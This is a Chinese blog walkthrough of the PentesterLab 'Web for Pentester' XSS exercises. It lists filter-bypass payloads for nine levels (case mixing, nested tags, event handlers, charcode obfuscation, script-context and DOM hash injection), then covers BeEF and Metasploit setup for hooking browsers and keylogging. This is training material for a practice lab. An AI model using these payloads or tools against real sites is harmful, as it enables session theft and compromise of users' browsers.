zoukankan      html  css  js  c++  java
  • web_pentester_xss

    第一关

    没有做什么过滤,只是简单的获取参数

    name = <script>alert('1')</script>

    第二关

    对script做了一些过滤,大小写绕过就行

    name = <scRipt>alert('1')</sCript>

    第三关

    与第二关的差别是大小写绕过不敏感了,所以使用重写一下就行了

    <sc<script>ript>alert("111")</scr</script>ipt>

    第四关

    对script进行了过滤,只要标签中使用script就出错,用其他的标签就行了

    <img src=# onclick=alert('aaa')>

    一块介绍下我知道的xss可利用的HTML标签

    <a href="javascript:alert('ssssss')">1</a>

    <a onmouseover="javascript:alert('aaa')">

    <a onmouseover=alert('ssss')>

    <img src=# onclick=alert('sss')>

    <img src=# onerror=alert('sss')>

    <a onclick="window.alert()">1</a>

    <video src=# onclick=alert('sss')>

    还有一些与上面类似就不具体写了

    <form action="">   <audio src="#">  <iframe scr="#">

    如果不能出现弹窗可能是被浏览器阻止了,换个低版本的浏览器就行了

    第五关

    匹配alert的大小写

    测试弹窗的函数不仅有alert还有prompt confirm eval(String.fromCharCode()

    )

    最后一个的意思就是把字符换成ascii码在执行

    比如这关我使用的是最后一个

    <a onmouseover= eval(String.fromCharCode(97,108,101,114,116,40,39,116,101,115,116,39,41,59)) >

    第六关

    他的输出值在script里面所以闭合前面的script或者直接插入

    name=hacker";alert(1);//

    name=hacker</script><script>alert('111')</script>

    第七关

    与第六关不同的是,闭合由双引号改为了单引号,而且加入了htmlentities()函数,这个函数会将  <    >和"实体化掉,因此无法通过闭合<script>标签的方式来解决所以payload

    name=hacker';alert(1);//

    第八关

    在form表单中,有个<?php echo $_SERVER['PHP_SELF']; ?>,$_SERVER['PHP_SELF']这个东西是干什么用的,当前执行脚本的文件名,与document root有关,例如,本关的ip/xss/example8.php的脚本中使用$_SERVER['PHP_SELF']将得到/xss/example8.php,所以这里的payload是

    example8.php/"><script>alert(1)</script>

    第九关

    dom-xss实锤,所谓的dom-xss其实是浏览器本地dom树直接解析了,不会像服务器发起数据包请求,而location是javascript里面管理地址栏的内置对象,location对象:设置或获取当前URL的信息。使用location对象可以设置或返回URL中的一些信息,一个完整的URL地址的格式为:协议://主机:端口/路径名称?搜索条件#hash标识,此题的payload

    example9.php#<script>alert("1")</script>

    如果出现上面情况,这是浏览器的锅,换个低版本浏览器就行了

    用工具弄下吧,这次用的工具是beef和msf

    首先先说明一下我的beef与msf的安装环境

    beef安装在/usr/share/beef-xss

    msf安装在/usr/share/metasploit-framework/

    切换到beef的安装环境cd /usr/share/beef-xss  找到配置文件config.yaml

    找到密码账号修改下,beef不允许使用默认密码账号登录,然后找到metasploit改为true

     

    修改之后保存退出

    切换到metasploit     cd  /usr/share/beef-xss/extensions/metasploit修改配置文件

    把enable改为true

    把里面的host与callback_host都改为当前的ip地址(不要用回环地址)

    ssl改为false

    改变custom环境与msf相同

    保存之后退出

    打开另一个终端,依次输入一下命令

    sservice postgresql restart重启一下数据库

    msfdb init  初始化数据库

    msfconsole  打开控制台

    load msgrpc ServerHost=192.168.22.128 Pass=abc123

    当然密码你也可以在上面的配置文件里面设置

    使用刚刚的终端切换到beef-xss目录下

    cd /usr/share/beef-xss

    执行beef  ./beef

    出现这个加载就成功了

    这个时候就可以登录beef了

    http://127.0.0.1:3000/ui/panel

    输入账号密码

    根据beef可以获取到目标浏览器的版本等一些重要信息,监控键盘记录等,然后在msf中找到浏览器漏洞然后用beef跳转到指定得网页能获取到shell这里就不演示了。

  • 相关阅读:
    Understand Rails Authenticity Token
    正则表达式:数值及数值型字符串三位一组格式化
    ceph主要数据结构解析2-Rados.h文件
    遍历聚合对象中的元素——迭代器模式(三)
    ceph主要数据结构解析3-Ceph_fs.h文件
    linux crontab 定时命令
    mysql数据类型详解
    遍历聚合对象中的元素——迭代器模式(四)
    Eclipse自动插件依赖的一种配置解决方式
    php缓存小技巧
  • 原文地址:https://www.cnblogs.com/zhao-yang/p/13788192.html
Copyright © 2011-2022 走看看